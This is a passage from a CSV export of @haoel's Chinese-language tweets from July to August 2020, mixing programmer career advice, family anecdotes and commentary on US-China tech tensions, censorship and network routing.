变相让你不自建,,https://twitter.com/haoel/status/1294617897013149697\n3901,1294254512803209216,2020-08-14 12:48:16+00:00,19,0,2,,@falloutxxx2 你这傻逼逻辑是怎么来的？,,https://twitter.com/haoel/status/1294254512803209216\n3902,1294247423972274177,2020-08-14 12:20:06+00:00,519,90,14,,\"有的鸟终究是关不住的，因为他们的羽翼太过光辉，当他们飞走时，你会由衷的祝贺他们获享自由；然而无奈的是：你得继续在这无聊之地苟且偷生。\n\n                         一一《肖申克的救赎》\",,https://twitter.com/haoel/status/1294247423972274177\n3903,1294105740383158277,2020-08-14 02:57:06+00:00,3,0,0,,@Jemmy__Wong 会的，你等着。,,https://twitter.com/haoel/status/1294105740383158277\n3904,1294104136485543936,2020-08-14 02:50:44+00:00,227,15,7,,早就想加入CNCF了，但觉得加入CNCF只是在蹭他们的品牌。今天选择加入CNCF，是因为我觉得我们可以给CNCF注入更多的东西。今天的CNCF更像一个以k8s为中心的组织，而我们会更关注k8s及以上的从开发到运维到治理到调度的企业级整体解决方案，我们的加入会让CNCF 更为的完整…… https://t.co/84A6xySytP,,https://twitter.com/haoel/status/1294104136485543936\n3905,1293815128459063296,2020-08-13 07:42:19+00:00,172,15,34,,最后统计了下：10元一张，2元一张，1元5张，5角4张，2角36张，1角56张。那时候的人民币最大面额10元，是“真人民币”，完全没有领导人的头像…… https://t.co/zmCaEFLg1F,,https://twitter.com/haoel/status/1293815128459063296\n3906,1293732077825740803,2020-08-13 02:12:18+00:00,306,12,41,,我爸在老家找到了我小时候藏钱的一个小盒子，这是我小学六年的全部积蓄，可能不到十元钱，还有一张“外汇券”，可见当时我的家境还是不错的……🥰 https://t.co/bhCHr55EUa,,https://twitter.com/haoel/status/1293732077825740803\n3907,1293725262811545600,2020-08-13 01:45:13+00:00,12,0,1,,@tinyfool 还不拉黑呀？,,https://twitter.com/haoel/status/1293725262811545600\n3908,1293077426033946624,2020-08-11 06:50:57+00:00,11,0,1,,@tinyfool 应该是“马保国”……,,https://twitter.com/haoel/status/1293077426033946624\n3909,1292864382980874246,2020-08-10 16:44:23+00:00,326,110,32,,虎嗅网的这篇文章可以感受一下高精尖的科学技术是啥样的。不是996和喊喊口号就能修来的。 https://t.co/v1mRGjNF3h,\"[TextLink(text='m.huxiu.com/article/374513…', url='https://m.huxiu.com/article/374513.html', tcourl='https://t.co/v1mRGjNF3h', indices=(44, 67))]\",https://twitter.com/haoel/status/1292864382980874246\n3910,1292779001140768773,2020-08-10 11:05:07+00:00,0,0,1,,@qiyuangong @azuis 我并不介意。如果是就事论事的话，我们还是在同一篇上的，我首先会尽可能的使用一些权威的观点，如果不能找到权威的观点，那就应该是各方的观点都了解一下，然后自己判断一下哪边更可信，或者都不可信。对于这个事情，其实网上可以找到的信息并不多。况且中国电信过去也干过各种下作的事情……,,https://twitter.com/haoel/status/1292779001140768773\n3911,1292775929949765632,2020-08-10 10:52:54+00:00,0,0,0,,@azuis 你说得对，这篇论文里面并没有提供数据，只是把结果跟你说了一下。但是这篇论文被引用的很多……再加上中国电信连自己人都劫持，强塞广告……还有个全世界最大的网络审查平台……所以很难不被人相信。你信不信我信不信无所谓，关键是美国人信不信……,,https://twitter.com/haoel/status/1292775929949765632\n3912,1292731677320462336,2020-08-10 07:57:04+00:00,0,0,2,,@qiyuangong @azuis 你说期刊不中立，你说作者也不行，所以发的论文也很扯……期刊不中立，作者不行这两个结论，你从哪得来的？如果只是你认为的话，那我是不是也可以说你也有立场问题呢？讨论问题不是这么讨论的,,https://twitter.com/haoel/status/1292731677320462336\n3913,1292730434824986625,2020-08-10 07:52:08+00:00,0,0,0,,@azuis 首先，这个不是你行你上的问题，我想说的是人家用一个专业的研究报告，而你的发言有点像搅混水的感觉，缺乏一些权威的引用。你不能说大家都在玩这种事，只有中国被抓，我只能认为这太主观了。另外，BGP上乱玩很容易被人抓的，和那种绕路是完全两码事。,,https://twitter.com/haoel/status/1292730434824986625\n3914,1292434225413595138,2020-08-09 12:15:06+00:00,205,49,11,,那些口口声声一代不如一代的人，应该看着你们，像我一样，我看着你们，满怀羡慕。人类积攒了几千年的财富，所有的知识、见识、智慧和艺术，像是专门为你们准备的礼物……奔涌吧，后浪！,,https://twitter.com/haoel/status/1292434225413595138\n3915,1292426638655815683,2020-08-09 11:44:57+00:00,2,0,0,,@azuis 我说了，你写篇论文，署上你的名字，我帮你转，不然你没有任何的权威性,,https://twitter.com/haoel/status/1292426638655815683\n3916,1292425880162058241,2020-08-09 11:41:56+00:00,24,7,0,,New Bee……,,https://twitter.com/haoel/status/1292425880162058241\n3917,1292414221301366786,2020-08-09 10:55:36+00:00,5,1,1,,@azuis 本来想跟你辩论一下的，后来想算了。嗯，要不然你发篇论文怎么样？接受全世界的人民考证一下你这个问题。至少人家还敢把自己的名字写上。你发表这种观点连自己的名字都不敢放出来。,,https://twitter.com/haoel/status/1292414221301366786\n3918,1292390665112834048,2020-08-09 09:22:00+00:00,9,0,0,,@azuis 1）我论文都放在那里都没看？论文中爆出来的流量劫持，只是访问政府网站的流量，还不是全量。2）香港政府使用了Cloudflare。,,https://twitter.com/haoel/status/1292390665112834048\n3919,1292388079857106944,2020-08-09 09:11:44+00:00,0,0,0,,@gaochunhui 多跟我们讲讲其中的猫腻……,,https://twitter.com/haoel/status/1292388079857106944\n3920,1292348007153729538,2020-08-09 06:32:30+00:00,38,5,4,,对了，相比之下，中国不允许海外电信运营商建立PoP，而在北京，上海和香港只有三个进入的门户。这种隔离保护了中国国内和过境流量免受外国劫持。,,https://twitter.com/haoel/status/1292348007153729538\n3921,1292345240523702273,2020-08-09 06:21:30+00:00,217,88,11,,【中美之间的直连网络还能撑多久？】https://t.co/QyQmG5S6xI文章中提到的以色列研究人员的论文在 https://t.co/cy0flmqn8M ，这老哥搞了路由表跟踪系统，监控BGP路由公告，在2016年，发现中国电信将加拿大给韩国政府的流量转到多伦多，再转到美国，然后到中国，最后传送到韩国，持续了6个月……,\"[TextLink(text='mp.weixin.qq.com/s/N1VVbkNw9E4W…', url='https://mp.weixin.qq.com/s/N1VVbkNw9E4WHyv-0IEwOg', tcourl='https://t.co/QyQmG5S6xI', indices=(17, 40)), TextLink(text='scholarcommons.usf.edu/cgi/viewconten…', url='https://scholarcommons.usf.edu/cgi/viewcontent.cgi?article=1050&context=mca', tcourl='https://t.co/cy0flmqn8M', indices=(58, 81))]\",https://twitter.com/haoel/status/1292345240523702273\n3922,1292336889249140736,2020-08-09 05:48:19+00:00,41,9,1,,\"How SHA-2 Works Step-by-Step\nhttps://t.co/r2uqnjTkWa\",\"[TextLink(text='qvault.io/2020/07/08/how…', url='https://qvault.io/2020/07/08/how-sha-2-works-step-by-step-sha-256/', tcourl='https://t.co/r2uqnjTkWa', indices=(29, 52))]\",https://twitter.com/haoel/status/1292336889249140736\n3923,1292336562076696578,2020-08-09 05:47:01+00:00,203,71,0,,\"继续分享一个免费的电子书网站：\n\nhttps://t.co/PWli9tOrkn\",\"[TextLink(text='ebookfoundation.github.io/free-programmi…', url='https://ebookfoundation.github.io/free-programming-books/free-programming-books.html', tcourl='https://t.co/PWli9tOrkn', indices=(17, 40))]\",https://twitter.com/haoel/status/1292336562076696578\n3924,1292325500937936896,2020-08-09 05:03:04+00:00,126,11,20,,今天看我们家孩子写英文日记，里面有句话是：I listen the music by Yingque Shiting... 我的注意力直接集中在Shiting这个单词上，我问，哪个乐队的名字叫“拉大便”啊？孩子跟我说，人家叫“音厥诗听”，原来，Shiting 是 “诗听”的拼音……😂,,https://twitter.com/haoel/status/1292325500937936896\n3925,1292133818502012930,2020-08-08 16:21:23+00:00,40,12,9,,想了想，让汽车站起来，唯一的好处就是停车的时候占地小吧……,,https://twitter.com/haoel/status/1292133818502012930\n3926,1291990632026607617,2020-08-08 06:52:25+00:00,339,97,29,,这张图对于中国人来说没什么，但是对于外国人而言就匪夷所思了…… https://t.co/rCwBBTqNbs,,https://twitter.com/haoel/status/1291990632026607617\n3927,1291923418435080192,2020-08-08 02:25:20+00:00,4,0,0,,@hejiaji 你没养过孩子，你不懂,,https://twitter.com/haoel/status/1291923418435080192\n3928,1291922597504901122,2020-08-08 02:22:04+00:00,841,132,81,,15秒的短视频，可以让你看到段子，风景，表演，轶事，趣闻，生活小巧门……甚至还有人教你学英文，解数学题，做PPT，PS图片……等等。但是真的很害人，用上一段时间后，你再也不会有耐心面对超过2分钟以上的东西，你会变得没有耐心，再也沉不下心来……所以，我早在2019年初就在家庭范围内禁了抖音！,,https://twitter.com/haoel/status/1291922597504901122\n3929,1291780888531935234,2020-08-07 16:58:58+00:00,39,6,7,,“坚定不移维护和稳定中美关系”，这两天画风突变…… https://t.co/dpmEOYkQws,,https://twitter.com/haoel/status/1291780888531935234\n3930,1291700229230665730,2020-08-07 11:38:27+00:00,34,0,5,,@tinyfool 不管谁黑，我已拉黑。,,https://twitter.com/haoel/status/1291700229230665730\n3931,1291669483535253504,2020-08-07 09:36:17+00:00,305,101,9,,【程序员如何把控自己的职业】这篇文章的主要内容是我今年3月份在腾讯做的直播的精编版，主要是想让一些技术人员对世界有一个大体的认识，并且在这个认识下能够有一个好的方法成就自己。而不是在一脸蒙圈的状态下随波逐流，而日益迷茫和焦虑。https://t.co/88n47eetSi,\"[TextLink(text='coolshell.cn/articles/20977…', url='https://coolshell.cn/articles/20977.html', tcourl='https://t.co/88n47eetSi', indices=(113, 136))]\",https://twitter.com/haoel/status/1291669483535253504\n3932,1291584167126298624,2020-08-07 03:57:16+00:00,0,0,2,,@Datou 黑客攻击的事怎么也要说一下吧……,,https://twitter.com/haoel/status/1291584167126298624\n3933,1291553302098751493,2020-08-07 01:54:37+00:00,0,0,0,,@professorzsh 这回是手写了……😓,,https://twitter.com/haoel/status/1291553302098751493\n3934,1291550297714696192,2020-08-07 01:42:41+00:00,93,18,1,,北京时间今天晚上八点，我会在极客时间做一场关于程序员面试（应骋）的直播，在这个直播里，我会讲述一下面试前如何准备？面试过程中如何回答尖锐和难答的问题？以及如何进行面试的训练……直播中会有大量的互动，欢迎大家带着以往面试的实际案例来参与。直播预约地址：https://t.co/o1V2dWcDC0,\"[TextLink(text='live.geekbang.org', url='https://live.geekbang.org/', tcourl='https://t.co/o1V2dWcDC0', indices=(125, 148))]\",https://twitter.com/haoel/status/1291550297714696192\n3935,1291533572860309505,2020-08-07 00:36:13+00:00,606,121,72,,\"你都翻墙出来了，难道你就不会上维基百科和谷歌的官方博客上看一看谷歌说为什么离开中国的？\n\n而事实是，谷歌并没有完全退出中国，只是搬到了香港，不再接受审查。然后开始随机阻断和关键词屏敝，后面，谷歌告诉用户，什么样的关键词会被阻断，然后就直接全部封掉了！\n\n才十年，事实都搞不清了…… https://t.co/bxH0fvn2kM\",,https://twitter.com/haoel/status/1291533572860309505\n3936,1291412388105744384,2020-08-06 16:34:41+00:00,40,0,6,,今年最期待的两个数码产品：PS5 和 Cyperpunk 2077……,,https://twitter.com/haoel/status/1291412388105744384\n3937,1291411511194210309,2020-08-06 16:31:12+00:00,5,0,1,,@david30xie 现在也很牛逼的,,https://twitter.com/haoel/status/1291411511194210309\n3938,1291405818567393286,2020-08-06 16:08:34+00:00,532,87,28,,刚跟个快30岁的网友聊天。他说，他从工作6年有些迷茫了。我说，我二十来岁的时候也很迷茫，我走出来迷茫主要是靠两个事：一个是回忆下刚开编程时的那种兴奋，然后就丢找到有这样兴奋点的事。另一个是给自己设了一个终极目标，去当时世界上最牛的公司一一微软。剩下的事就简单了，缺什么补什么了……,,https://twitter.com/haoel/status/1291405818567393286\n3939,1291377589638934528,2020-08-06 14:16:24+00:00,1,0,0,,@PierreDeWulf I’v followed you already... cool,,https://twitter.com/haoel/status/1291377589638934528\n3940,1291374578845900803,2020-08-06 14:04:26+00:00,1251,377,4,,\"一个收录各种优质程序书籍的网站，还在不断丰富中……\n\nhttps://t.co/HyqMIaQ2EX\",\"[TextLink(text='best-books.dev', url='https://www.best-books.dev', tcourl='https://t.co/HyqMIaQ2EX', indices=(27, 50))]\",https://twitter.com/haoel/status/1291374578845900803\n3941,1291362307461636096,2020-08-06 13:15:41+00:00,62,21,9,,有人说，美国tiktok作业不是抄的…… https://t.co/0f7CBvx3QO,,https://twitter.com/haoel/status/1291362307461636096\n3942,1291361776169148416,2020-08-06 13:13:34+00:00,0,0,1,,@zhuanlongming 嗯，哪里有区别？,,https://twitter.com/haoel/status/1291361776169148416\n3943,1291320530079870976,2020-08-06 10:29:40+00:00,348,38,30,,前不久，我们还各种骂美帝说，抄作业不会吗？现在美帝开始各种抄我们的作业，我们又骂美帝无耻。估计美帝也很疑惑，你们倒是让我抄还是不抄？,,https://twitter.com/haoel/status/1291320530079870976\n3944,1291308457782476800,2020-08-06 09:41:42+00:00,167,41,19,,\"微信屏敝信息可以做到，同一个群，1）敏感的信息，国内同学发，所有人都看不见，2）外国的同学发的信息，只有外国的同学看的见，国内的同学完全看不见。（下图是第二种情况的截图） ​​​\n\n所以我们发完信息后，还要发几段文字再说明一下，以免别人看不见，自己也不知道。这就是经典的“两将军问题”…… https://t.co/1ysCmmneBz\",,https://twitter.com/haoel/status/1291308457782476800\n3945,1291227796941897728,2020-08-06 04:21:11+00:00,475,104,101,,\"据说，“美帝的“净网行动”如实施，北美CN2 GIA线路将中断，甚至中国用户将不能直连美国，所有到美国的网络请求将会中转”。\n\n我CN2 GIA 和 Google Fi 的梯子可能都会不行了…… 翻墙又要回到原始社会了……\",,https://twitter.com/haoel/status/1291227796941897728\n3946,1291048113822605312,2020-08-05 16:27:11+00:00,114,28,66,,“拒绝脱钩，保持合作”，面对最新动向，战狼们咋想？ https://t.co/w95ckXp3DC,,https://twitter.com/haoel/status/1291048113822605312\n3947,1290872797124730882,2020-08-05 04:50:32+00:00,23,2,2,,\"@tinyfool 老实说，我觉得你还是鼓励他们会更好，像我一样。\nhttps://t.co/u5DrV6GIn3\",\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1282157541548425217', tcourl='https://t.co/u5DrV6GIn3', indices=(34, 57))]\",https://twitter.com/haoel/status/1290872797124730882\n3948,1290665062076747778,2020-08-04 15:05:04+00:00,63,4,21,,如果川普说因为信息安全问题要封杀微信，这个是不是应该不会有争议了吧？,,https://twitter.com/haoel/status/1290665062076747778\n3949,1290663803370254337,2020-08-04 15:00:04+00:00,10,0,2,,@tinyfool 你还是个“公知”,,https://twitter.com/haoel/status/1290663803370254337\n3950,1290596327210934273,2020-08-04 10:31:57+00:00,24,1,6,,@blocklessnar 估计过去是稀里糊涂的，老了就更糊涂了,,https://twitter.com/haoel/status/1290596327210934273\n3951,1290539242091765765,2020-08-04 06:45:07+00:00,32,6,5,,锤子获得收购苹果的最佳时机…… 😜🤣😅,,https://twitter.com/haoel/status/1290539242091765765\n3952,1290488746484228096,2020-08-04 03:24:27+00:00,1,0,0,,@jolestar 别说观点了，我连下面这条新闻都不敢在墙内发…… https://t.co/a96h2pt7fU,,https://twitter.com/haoel/status/1290488746484228096\n3953,1290461719618293762,2020-08-04 01:37:04+00:00,0,0,1,,@jolestar 你这条不敢存墙内发吧。嘿嘿,,https://twitter.com/haoel/status/1290461719618293762\n3954,1290450615827607552,2020-08-04 00:52:56+00:00,5,0,2,,@ShanePricila 什么时候喜欢个程序员？,,https://twitter.com/haoel/status/1290450615827607552\n3955,1290178308856897536,2020-08-03 06:50:53+00:00,164,20,22,,字节跳动是不是第一家被中美两国都ban过的公司？,,https://twitter.com/haoel/status/1290178308856897536\n3956,1290104770829508608,2020-08-03 01:58:41+00:00,0,0,0,,@josh8lee 不要给我推荐Notion了，我说的就是这个工具太多花哨，而让人分心。,,https://twitter.com/haoel/status/1290104770829508608\n3957,1289909385972465664,2020-08-02 13:02:17+00:00,130,10,18,,我对笔记型的工具没太多要求，平时用最多是苹果原生的备忘录、提醒事项和语音备忘录，这些工具足够用了。这种工具不需要多强，像小纸条一样，要用的时候快速拿来记个什么东西就行。我不太喜欢那些看上去有很多漂亮功能的工具，因为，这些漂亮的功能会让我分心，而我想要的只是专注在我要记录的内容上…,,https://twitter.com/haoel/status/1289909385972465664\n3958,1289736927017463808,2020-08-02 01:37:00+00:00,1,0,1,,@6da 少一个h，shit,,https://twitter.com/haoel/status/1289736927017463808\n3959,1289735499171553280,2020-08-02 01:31:19+00:00,808,186,63,,川普禁TikTok这事干的确不太地道，地道的作法应该是，说都不要说直接禁掉。或是建个云上密西西比，或是像AWS主体转成本地运营商。实在不行，发几篇社论，如《美国不欢迎“政治的抖音”和“拦音的政治”》，同时，在上面找几个有种族歧的视频，然后，再把那些批评者训诫一下，抓几个架VPN的，这就没问题了。,,https://twitter.com/haoel/status/1289735499171553280\n3960,1289565816829009921,2020-08-01 14:17:04+00:00,0,0,0,,@Derekzhao2 谢谢,,https://twitter.com/haoel/status/1289565816829009921\n3961,1289535745770704896,2020-08-01 12:17:34+00:00,3,0,1,,@junewong 落灰,,https://twitter.com/haoel/status/1289535745770704896\n3962,1289531297161834496,2020-08-01 11:59:54+00:00,0,0,0,,@210n42 那不得今天做准备嘛……,,https://twitter.com/haoel/status/1289531297161834496\n3963,1289525572452798464,2020-08-01 11:37:09+00:00,320,73,8,,科学上网文档更新了一下，如何通过clash设置透明网关 https://t.co/mdOTsYdude,\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io', tcourl='https://t.co/mdOTsYdude', indices=(28, 51))]\",https://twitter.com/haoel/status/1289525572452798464\n3964,1289525195187744769,2020-08-01 11:35:39+00:00,0,0,0,,@ZcharyMa 十二年前的1080p，一万多呢,,https://twitter.com/haoel/status/1289525195187744769\n3965,1289496354763333633,2020-08-01 09:41:03+00:00,139,10,11,,树莓派+ Debian + clash 旁路路由 + XBox One  + Youtube + NASA Live + 电视…… https://t.co/VmUeXt6kJB,,https://twitter.com/haoel/status/1289496354763333633\n3966,1289215728432766977,2020-07-31 15:05:56+00:00,37,2,4,,刚则正好看到《最强大脑》，感觉队员们在挑战难题时真的很厉害，不愧为最强大脑。不过引起我注意的是，他们集体在生硬地演绎广告的时候……看到一群高智商大脑强的人，随随便便分分钟秒变成“傻子”背广告，感觉广告主才是真正的“脑王之王”……,,https://twitter.com/haoel/status/1289215728432766977\n3967,1289203594361573378,2020-07-31 14:17:43+00:00,182,16,19,,感觉Telegram聊天是副业，真正的主业是网盘和视频服务……,,https://twitter.com/haoel/status/1289203594361573378\n3968,1289197842657996802,2020-07-31 13:54:52+00:00,0,0,0,,@_yifu_yang 嗯，我已经搜到了。,,https://twitter.com/haoel/status/1289197842657996802\n3969,1289195693794459653,2020-07-31 13:46:20+00:00,21,0,5,,你说的这种程序员，一般来说，都是那种刚刚开始学写程序的……,,https://twitter.com/haoel/status/1289195693794459653\n3970,1289194946025553920,2020-07-31 13:43:21+00:00,18,1,4,,虽然我完全不知道竹内亮是谁，但是祝福有缘人终有……🤪,,https://twitter.com/haoel/status/1289194946025553920\n3971,1288868569166393345,2020-07-30 16:06:27+00:00,43,0,8,,那你应该来当程序员，我可以手把手教你，明天上午Github见……😍,,https://twitter.com/haoel/status/1288868569166393345\n3972,1288651089055633408,2020-07-30 01:42:16+00:00,3,0,1,,@tinyfool 所以你的朋友竟然那么喜欢大陆，你要说服他完全加入我们啊……,,https://twitter.com/haoel/status/1288651089055633408\n3973,1288650527706759168,2020-07-30 01:40:02+00:00,0,0,0,,@rolle_hans 这个我还是分得清楚的。他是天天说，而且看上去是“发自内心”的。,,https://twitter.com/haoel/status/1288650527706759168\n3974,1288497704885092353,2020-07-29 15:32:46+00:00,123,17,28,,不要听他说什么，关键看他怎么做。以前我在亚马逊，有个美籍的台湾人也天天说大陆什么都好，我回他，你说的这么好，那你要不然放弃美国和台湾身份，来大陆拿户口？（从此他就闭嘴了，过了一段时间回美国了）,,https://twitter.com/haoel/status/1288497704885092353\n3975,1287209579814633473,2020-07-26 02:14:13+00:00,83,16,2,,Real Firefox...,,https://twitter.com/haoel/status/1287209579814633473\n3976,1286607715104485379,2020-07-24 10:22:37+00:00,52,8,12,,碎纸机最大的问题不是会被拼出来，而是机器碎不了几分钟就会发热，要大规模碎纸根本不靠谱……用火烧没问题，但是这烟也太大了，说明要烧的东西也太多了……,,https://twitter.com/haoel/status/1286607715104485379\n3977,1286078726011097088,2020-07-22 23:20:37+00:00,194,39,9,,昨天和@kevinzhow 聊天，聊起做软件产品和软件工具的差别，我觉的产品和工具最大的差别是一一产品是在降低人类掌握技能的门槛，而工具只是在优化操作体验。这就是为什么他的50音更像是产品，而其它的50音看上去只是个工具的原因。这也是为什么笔记类或标注类的工具无法让你成长和学到东西的原因……,,https://twitter.com/haoel/status/1286078726011097088\n3978,1286074774125330432,2020-07-22 23:04:54+00:00,2,0,2,,\"@tracker1 @shanselman .lives.matter {\n  color: #000 !important;\n}\n\nWould be better.\",,https://twitter.com/haoel/status/1286074774125330432\n3979,1286073346136748032,2020-07-22 22:59:14+00:00,35,5,1,,有些人说Word/Google Docs已经过时了，就像几年前他们说微软已经过时了一样……,,https://twitter.com/haoel/status/1286073346136748032\n3980,1285443212383944705,2020-07-21 05:15:18+00:00,31,3,4,,阿里的业务真是广泛，怪不得股票看涨……😜🤪 https://t.co/o8gR3Igz74,,https://twitter.com/haoel/status/1285443212383944705\n3981,1284677769801039872,2020-07-19 02:33:43+00:00,4,1,0,,\"\"\"Pipelinefunk\"\" Armin Küpper - (concert) Saxophon with the natural echo o... https://t.co/nupFa55xqz\",\"[TextLink(text='music.youtube.com/watch?v=p8GcHo…', url='https://music.youtube.com/watch?v=p8GcHoSIPDg', tcourl='https://t.co/nupFa55xqz', indices=(76, 99))]\",https://twitter.com/haoel/status/1284677769801039872\n3982,1284646537637715968,2020-07-19 00:29:36+00:00,349,93,21,,\"有人注意到，当一台超级计算机中有成百上千个CPU内核时，Windows 的任务管理器中的各个CPU利用率框开始看起来像像素。于是，开始通过在特定处理器上进行大量计算来制作图片。 最终渲染出了DOOM游戏……\n\n油管：https://t.co/xJpPeYlP6p https://t.co/4Reu2yRkbF\",\"[TextLink(text='youtu.be/hSoCmAoIMOU', url='https://youtu.be/hSoCmAoIMOU', tcourl='https://t.co/xJpPeYlP6p', indices=(108, 131))]\",https://twitter.com/haoel/status/1284646537637715968\n3983,1284642435033784321,2020-07-19 00:13:18+00:00,0,0,2,,@get_headway @tinyfool,,https://twitter.com/haoel/status/1284642435033784321\n3984,1284170103525748737,2020-07-17 16:56:26+00:00,15,0,3,,@TimothyYe 没有drop table，看不懂,,https://twitter.com/haoel/status/1284170103525748737\n3985,1284095847517401091,2020-07-17 12:01:22+00:00,21,3,3,,今天一则昆明有30多人搬进烂尾楼的新闻刷屏了，不过很多人可能不知道，昆明在14、15年烂尾了很多楼盘，参看：https://t.co/PlnLM00RWq,\"[TextLink(text='m.sohu.com/a/247475763_74…', url='https://m.sohu.com/a/247475763_743208/', tcourl='https://t.co/PlnLM00RWq', indices=(54, 77))]\",https://twitter.com/haoel/status/1284095847517401091\n3986,1284049592988790784,2020-07-17 08:57:34+00:00,28,0,3,,我基本都不在微博发言了，主动禁言……,,https://twitter.com/haoel/status/1284049592988790784\n3987,1283968667080814597,2020-07-17 03:35:59+00:00,2,0,1,,@yisu_02 想出去还能随时拿出来？不知道不要乱说。另外，美国ban了就跑不了了？全世界多少个国家？逻辑是个好东西，不过好像离你有点远了……,,https://twitter.com/haoel/status/1283968667080814597\n3988,1283291002216701953,2020-07-15 06:43:11+00:00,29,4,2,,5/5）【计算沟通成本】要学会计算成本，一种是教育别人的成本，一种是找到想法差不多的人的成本，如果教育的成本大过了寻找同道中人的成本，那还沟通个毛线，这个时候，常用的方法是：“你说的对”，“我同意，就按你说的办”，总之，怎么能快速地结束沟通就怎么来，这样可以省出时间来去做更有价值的事。,,https://twitter.com/haoel/status/1283291002216701953\n3989,1283291000962551809,2020-07-15 06:43:11+00:00,24,1,2,,4/5)【参考引用】很多技术人员的方案完全都是“飞线”或“拍脑袋”，在没有章法的环境里，各种争论。这里，最好的方法就是说明哪家公司、哪个软件、或哪篇论文提到过这样的方案？数据是是什么？如果没有，就不要拿出来讨论。除非，你在解决的问题是全世界没有人解决过的问题，否则还是请拿出引用和参考来。,,https://twitter.com/haoel/status/1283291000962551809\n3990,1283290999683342336,2020-07-15 06:43:11+00:00,16,1,1,,3/5）【抓重点】把复杂的问题分治完后还不够好，因为维度还是多，还要抓重点来降低讨论的维度。这世上很多人是抓不住重点的，而且不抓重点东拉西扯通常来说都是杠王的“必杀技”，一但出现这样的事，你一定强势地表达，你知道这个事的重点是什么吗？什么是重点？重点就是要清楚的知道要什么和不要什么！,,https://twitter.com/haoel/status/1283290999683342336\n3991,1283290998408273921,2020-07-15 06:43:11+00:00,18,3,4,,2/5）【分治法】这是种程序算法。很多时候的争论基本上都是会把大量的东西混在一起谈，把不同的场景、现状、未来扩展性、时间成本、人员能力、领导想法……所有能借上力来对抗的事都搬出来。这时，你需要使用分治法，不要让对方搅乱你，复杂化你。你要不断地隔离和简化讨论的维度，不然一定会没结果。,,https://twitter.com/haoel/status/1283290998408273921\n3992,1283290997007323136,2020-07-15 06:43:10+00:00,156,46,4,,\"技术人员沟通五法则\n\n1/5）【X-Y问题】这个世界上太多的X-Y问题（ https://t.co/6UtXA5hz8q ），当别人给你一个问题的时候，90%以上的情况下都是Y问题，所以，你要找到X问题是什么。要找到“X问题”是什么，你就需要不断的问对方这几个问题：为什么要这么做？要达到什么样的目标？解决什么问题？\",\"[TextLink(text='coolshell.cn/articles/10804…', url='https://coolshell.cn/articles/10804.html', tcourl='https://t.co/6UtXA5hz8q', indices=(37, 60))]\",https://twitter.com/haoel/status/1283290997007323136\n3993,1282841338950508546,2020-07-14 00:56:23+00:00,3,0,1,,@fujohnwang @tinyfool https://t.co/6BU1zJTSMa,\"[TextLink(text='youtu.be/fBHKDpcRgiI', url='https://youtu.be/fBHKDpcRgiI', tcourl='https://t.co/6BU1zJTSMa', indices=(22, 45))]\",https://twitter.com/haoel/status/1282841338950508546\n3994,1282817230883807233,2020-07-13 23:20:36+00:00,15,2,2,,@tinyfool 你就是黑夜中的萤火虫，那么的鲜明出众……但是行有行规，昨晚的“过夜会”什么时候付？,,https://twitter.com/haoel/status/1282817230883807233\n3995,1282613892271636480,2020-07-13 09:52:36+00:00,272,88,35,,高晓松谈美国和俄国…… https://t.co/naA6CH1Nl9,,https://twitter.com/haoel/status/1282613892271636480\n3996,1282610238835896320,2020-07-13 09:38:05+00:00,7,0,1,,翻照片翻到了这张照片，西少爷肉夹馍别不是把Hello World注册成商标了吧？ https://t.co/jMKbYSrdaR,,https://twitter.com/haoel/status/1282610238835896320\n3997,1282157541548425217,2020-07-12 03:39:13+00:00,251,32,33,,我越来越觉得，面对那些愚蠢的人，我们不但不要骂他们，我们还要拼命的赞扬和鼓励他们，这样他们才会更自大更愚蠢更不知道自己是谁（参看“浑元形意太极门掌门人马保国”案例）。千万不要骂他们，更不要跟他们讲道理，不然，他们要被骂清醒了怎么办呢？😎,,https://twitter.com/haoel/status/1282157541548425217\n3998,1281875129845219328,2020-07-11 08:57:01+00:00,231,27,13,,给孩子辅导数学，兴趣来了，把整个小学初中所有的解题方式撸了一遍，又重新成长了一次。总结了一下，1）把实际问题用数学的方式描述出来，2）使用各种已知的简单问题来对复杂问题进行简化拆解和变换，3）使用公式算法等数学方法进行逻辑推导得出答案。感觉人生中许多问题的解都在这套思维框架中……,,https://twitter.com/haoel/status/1281875129845219328\n3999,1281618772990689282,2020-07-10 15:58:21+00:00,0,0,0,,@fanweixiao 😂🤣,,https://twitter.com/haoel/status/1281618772990689282\n4000,1281618407452930048,2020-07-10 15:56:54+00:00,302,62,12,,\"职场人也是非常需要了解所在公司是怎么运作的。\n\n如果你不知道公司是怎么挣钱的，那么你可能就不知道哪些业务重要，你也就𣎴知道怎么更有效率的拿绩效。\n\n只要你细心统计一下公司的高管中层有多少人是靠技术晋升上去的，有多少人不是空降，你才真正知道你在这个公司里的发展该走什么样的路。\n\n等等……\",,https://twitter.com/haoel/status/1281618407452930048\n4001,1281522340375851009,2020-07-10 09:35:10+00:00,37,5,5,,这应该是在说 Reddit 的业务模型和API比较简单。如果用 VB/Delphi 的话，估计半天做完……🤣,,https://twitter.com/haoel/status/1281522340375851009\n4002,1281515708484972544,2020-07-10 09:08:48+00:00,32,1,1,,@Linmiv 那种纯粹的技术人一定说的是我了？！哈哈（等等，我的blog的每篇文章下面都有两个设计感很差的微信公众号和小程序的二维码，嘿嘿嘿）  https://t.co/2lnJkWz9wL,\"[TextLink(text='coolshell.cn/articles/17391…', url='https://coolshell.cn/articles/17391.html', tcourl='https://t.co/2lnJkWz9wL', indices=(74, 97))]\",https://twitter.com/haoel/status/1281515708484972544\n4003,1281483772295184384,2020-07-10 07:01:54+00:00,31,6,2,,这里要分成几个层次，第一个层次是知道是玩的，第二个层次的是知道哪些地方可以优化，第三个层次是用新的方式颠覆……这里并一定非要用挣到钱来做真正理解的标志，但是，能创造价值能让别人心甘情愿付钱给你，则是天经地义的……,,https://twitter.com/haoel/status/1281483772295184384\n4004,1281481397933182977,2020-07-10 06:52:28+00:00,8,0,0,,@ItaimNoBibi 很多行业知识，商业机密，不可能公开说的，包括阿里的双11也有很多东西和玩法，大众是不可能知道的。,,https://twitter.com/haoel/status/1281481397933182977\n4005,1281450475083010049,2020-07-10 04:49:36+00:00,206,28,16,,昨天发推说创业要了解社会是怎么运作的，有些人不以为然，老实说，人过一生如果连社会怎么运作自己所在的公司是怎么挣钱的都不知道，是不是有点白活了？另外，社会运作有很多东西是无法放到台面上的东西（并不是非法的），是无法通过书本，演讲或是在公众场合可以了解的，导致大多数人就更不知道了……,,https://twitter.com/haoel/status/1281450475083010049\n4006,1281238495336427520,2020-07-09 